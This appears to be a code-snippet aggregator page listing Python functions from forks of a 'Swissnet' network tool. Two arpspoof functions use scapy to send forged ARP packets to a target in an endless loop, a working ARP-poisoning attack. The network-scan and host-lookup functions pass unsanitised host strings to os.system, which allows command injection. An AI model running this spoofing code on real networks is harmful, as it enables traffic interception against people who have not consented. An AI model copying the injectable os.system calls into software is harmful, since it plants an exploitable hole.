コード例 #1
0
ファイル: arpspoof.py プロジェクト: olivierh59500/Swissnet
def arpspoof(target, hti, terminal):
    try:
        terminal.write('\n[+] Sending spoofed ARP packets to ' + target)
        packet = Ether(dst=get_mac(target)) / ARP(
            op='who-has', psrc=hti, pdst=target, hwdst=get_mac(target))
        # packet2 = Ether()/ARP(op=2,psrc=target,pdst=hti,hwdst=get_mac(hti))

        while True:
            sendp(packet, verbose=0)
            #sendp(packet2,verbose=0)
            sleep(2)
    except Exception as s:
        terminal.write('\n' + str(s))
        traceback.print_exc()
コード例 #2
0
ファイル: arpspoof.py プロジェクト: shekkbuilder/Swissnet
def arpspoof(target, hti, terminal=None):

    if terminal == None:
        print("[+] Sending spoofed ARP packets to " + target)
    else:
        terminal['text'] += '\n[+] Sending spoofed ARP packets to ' + target

    packet = Ether(dst=get_mac(target)) / ARP(
        op='who-has', psrc=hti, pdst=target, hwdst=get_mac(target))
    packet2 = Ether() / ARP(op=2, psrc=target, pdst=hti, hwdst=get_mac(hti))

    while True:
        sendp(packet, verbose=0)
        #sendp(packet2,verbose=0)
        sleep(2)
コード例 #3
0
ファイル: ip_scan.py プロジェクト: shekkbuilder/Swissnet
def __getips(step, start, quiet, ipr, terminal):
    for i in range(start, 255, step):
        ip = ipr % i
        exitstat = os.system('fping -q -t 50 ' + ip)
        if not exitstat:
            tmp = []
            try:
                name, alias, addr = socket.gethostbyaddr(ip)
                tmp.append(name)
            except:
                tmp.append('unknown')
            finally:
                tmp.append(get_mac(ip))
                tmp.append(ip)
                active_ips.append(tuple(tmp))

                if terminal == None:
                    print("-" * 30 + "\n")
                    print("[+] " + ip + " Is Active ")
                    print("\n" + "-" * 30)
                else:
                    terminal.configure(text=terminal.cget("text") +
                                       "\n\n[+] " + ip + " Is Active \n")

        elif exitstat and quiet:
            if terminal == None:
                print("[-] " + ip + " is inavtive ")
            else:
                terminal.configure(text=terminal.cget("text") + '\n[-] ' + ip +
                                   ' is inactive ')
コード例 #4
0
def lookup(host, terminal):
    try:
        exitstat = os.system('fping ' + host)
        if not exitstat:
            try:
                name, alias, addr = socket.gethostbyaddr(host.strip())
                if not alias:
                    alias = 'unknown'
                terminal.write("\nHostname // " + name + " | Aliases // " +
                               str(alias) + " | Address // " + addr[0] +
                               " | HWAddress // " + get_mac(host))
            except:
                terminal.write('\n[*] Could not find a hostname')
                try:
                    terminal.write("\n Address // " + host +
                                   " | HWAddress // " + get_mac(host))
                except TypeError:
                    terminal.write(
                        '\n[-] Could not find a mac address\nAddress // ' +
                        host)
        else:
            terminal.write('\n[-] Error: Host not found')
    except Exception as s:
        terminal.write('\n' + str(traceback.print_exc()))
コード例 #5
0
ファイル: ip_scan.py プロジェクト: olivierh59500/Swissnet
def __getips(step, start, quiet, ipr, terminal):
    try:
        for i in range(start, 255, step):
            ip = ipr % i
            exitstat = os.system('fping -q -t 50 ' + ip)
            if not exitstat:
                tmp = []
                try:
                    name, alias, addr = socket.gethostbyaddr(ip)
                    tmp.append(name)
                except:
                    tmp.append('unknown')
                finally:
                    tmp.append(get_mac(ip))
                    tmp.append(ip)
                    active_ips.append(tuple(tmp))

                    terminal.write("\n\n[+] " + ip + " Is Active \n")

            elif exitstat and quiet:
                terminal.write('\n[-] ' + ip + ' is inactive ')
    except Exception as s:
        terminal.write('\n' + str(s))
        traceback.print_exc()